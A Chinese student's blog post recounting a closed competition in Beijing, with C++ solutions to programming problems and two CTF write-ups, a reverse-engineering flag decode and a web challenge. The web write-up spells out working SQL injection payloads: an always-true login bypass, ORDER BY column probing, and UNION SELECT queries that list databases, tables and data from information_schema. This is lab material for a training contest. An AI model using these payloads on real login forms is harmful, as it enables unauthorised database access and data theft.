一开始说要去北京的时候,我是拒绝的。
为什么是拒绝的呢?去北京?太远了,不存在的,然而还是去了。
为什么去呢?据说这获奖了可以对自招有好处,而且还有钱发。
比赛是封闭的,联网都不能上!(到时候搞一个不知道的加密不就GG)
比赛分为两部分,上午是ACM赛制的编程,下午是CTF。
都是两个小时,六道题!(最厉害的大佬GZZ随便就四道题)
整个上午下午,就看到大佬A题,太可怕了。。
上午的题目不是很难(对于信息组大佬来说,不是我),模拟,动归,线段树,floyd什么的。
第一道题签到题,就是统计下划线个数,直接水了、
1 #include<cstdio> 2 #include<cstring> 3 #include<iostream> 4 using namespace std; 5 int stack[90]={0}; 6 int main() 7 { 8 int i,j,k,l,m,n,ans=0,len=0; 9 scanf("%d",&m); 10 for(i=1;i<=m;i++) 11 { 12 char str[81]; 13 scanf("%s",&str); 14 if(len<strlen(str)) 15 len=strlen(str); 16 for(j=0;j<strlen(str);j++) 17 if(str[j]==‘_‘) 18 stack[j]++; 19 } 20 for(i=0;i<len;i++) 21 ans=max(ans,stack[i]); 22 printf("%d",ans); 23 return 0; 24 }
第二题,看起来挺简单,然而wa了,就是一些人,给一堆的(人a,人b),要求a>b,问问唯一确定的人成绩排名的有几个
我以为可以用拓扑,然而wa了,有大佬可以告诉我为什么吗》》》好伤心。。
wa了的代码:
#include<cstdio> #include<cstring> #include<cstdlib> #include<vector> using namespace std; int top1[4510],top2[4510],t,c[4510]; vector<int> G[4510]; bool up_topsort(int node) { c[node]=-1; for(int i=0;i<G[node].size();i++) { if(c[G[node][i]]<0) return false; else if(!c[G[node][i]] && !up_topsort(G[node][i])) return false; } c[node]=1; top1[t--]=node; return true; } bool down_topsort(int node) { c[node]=-1; for(int i=0;i<G[node].size();i++) { if(c[G[node][i]]<0) return false; else if(!c[G[node][i]] && !down_topsort(G[node][i])) return false; } c[node]=1; top2[t--]=node; return true; } bool down_ok(int m) { t=m; memset(c,0,sizeof c); for(int i=1;i<=m;i++) if(!c[i]) if(!down_topsort(i)) return false; return true; } bool up_ok(int m) { t=m; memset(c,0,sizeof c); for(int i=m;i>=1;i--) if(!c[i]) if(!up_topsort(i)) return false; return true; } int main() { int i,j,k,l,m,n,ans=0; scanf("%d%d",&m,&n); for(i=1;i<=n;i++) { int a,b; scanf("%d%d",&a,&b); G[a].push_back(b); } up_ok(m); down_ok(m); for(i=1;i<=m;i++) if(top1[i]==top2[i]) ans++; printf("%d",ans); return 0; }
第三题,就是给一串数字,都是0~9,然后求把它改为单调递增或递减最少要改几个数字
#include<cstdio> #include<cstdlib> #include<iostream> #define INF 1e9 using namespace std; int A[100010],up[100010][10],down[100010][10]; void init(int m) { for(int i=1;i<=m+1;i++) for(int j=0;j<=9;j++) { up[i][j]=INF; if(i==1) up[1][j]=1; } up[1][A[1]]=0; for(int i=1;i<=m+1;i++) for(int j=0;j<=9;j++) { down[i][j]=INF; if(i==1) down[1][j]=1; } down[1][A[1]]=0; } int main() { int i,j,k,l,m,n,ans1=INF,ans2=INF; scanf("%d",&m); for(i=1;i<=m;i++) scanf("%d",&A[i]); init(m); for(i=2;i<=m;i++) for(j=0;j<=9;j++) { for(k=0;k<=j;k++) { if(j==A[i]) up[i][j]=min(up[i][j],up[i-1][k]); else up[i][j]=min(up[i][j],up[i-1][k]+1); } } for(i=2;i<=m;i++) for(j=0;j<=9;j++) { for(k=j;k<=9;k++) { if(j==A[i]) down[i][j]=min(down[i][j],down[i-1][k]); else down[i][j]=min(down[i][j],down[i-1][k]+1); } } for(j=0;j<=9;j++) ans1=min(ans1,up[m][j]); for(j=0;j<=9;j++) ans2=min(ans2,down[m][j]); printf("%d",min(ans1,ans2)); return 0; }
下午就是CTF了,只做出两道WEB1,RE1,某位大佬五道都随便。。。
RE1
首先先查下壳,发现是vc++的,没有壳。
然后直接扔到ida里看看。
可以发现在入口处,这个程序基本什么都没干。
就是用了一堆的mov指令。
很显然,这些东西就是flag。
最后写个脚本
a=[0x42,0x55,0x50,0x54,0x7B,0x59,0x30,0x75,0x5F,0x73,0x33,0x33,0x6E,0x5F,0x53,0x6F,0x6D,0x65,0x74,0x68,0x31,0x6E,0x67,0x5F,0x66,0x72,0x6F,0x6D,0x5F,0x6E,0x4f,0x74,0x68,0x69,0x6E,0x39,0x7D]
str=""
for i in a:
str=str+chr(i)
print(str)
Flag就直接出来了。
WEB1
直接就给了提示。
是个sql注入。
username=test‘ or ‘1‘=‘1&password=123
先看看是什么类型的,发现是字符型的。
让后试试有几列
username=test‘ order by 1 %23&password=123
username=test‘ order by 2 %23&password=123
username=test‘ order by 3 %23&password=123
发现在3以后就登不进去了。可以知道有三列。
Payload:username=‘ union select 1,group_concat(SCHEMA_NAME),3 from information_schema.SCHEMATA %23&password=123
然后爆库名
爆表名:
Payload: username=‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘easy_sqli‘ %23&password=123
然后:
然后就直接查出来了。。。。。。
Payload:username=‘ union select 1,group_concat(flag),3 from easy_sqli.flag %23&password=123
FLAG: BUPT{[email protected]_sql_injection}
还是太水了,GZZ大佬太强了!!!!!
原文地址:https://www.cnblogs.com/ZarCs/p/8908423.html